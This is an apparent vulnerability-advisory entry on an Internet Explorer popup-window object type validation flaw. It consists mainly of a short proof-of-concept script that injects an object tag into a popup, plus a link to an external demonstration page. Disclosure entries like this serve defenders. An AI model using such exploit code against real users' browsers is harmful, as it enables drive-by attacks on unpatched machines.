Microsoft Internet Explorer Browser Popup Window Object Type Validation Vulnerability

info
discussion
exploit
solution
references

Microsoft Internet Explorer Browser Popup Window Object Type Validation Vulnerability

The following proof of concept has been supplied:

<script>
var oPopup = window.createPopup();

function showPopup() {
oPopup.document.body.innerHTML = "<object data=ouch.php>";
oPopup.show(0,0,1,1,document.body);
}

showPopup()
</script>

A proof of concept demonstration is available on the following web site:
http://www.malware.com/badnews.html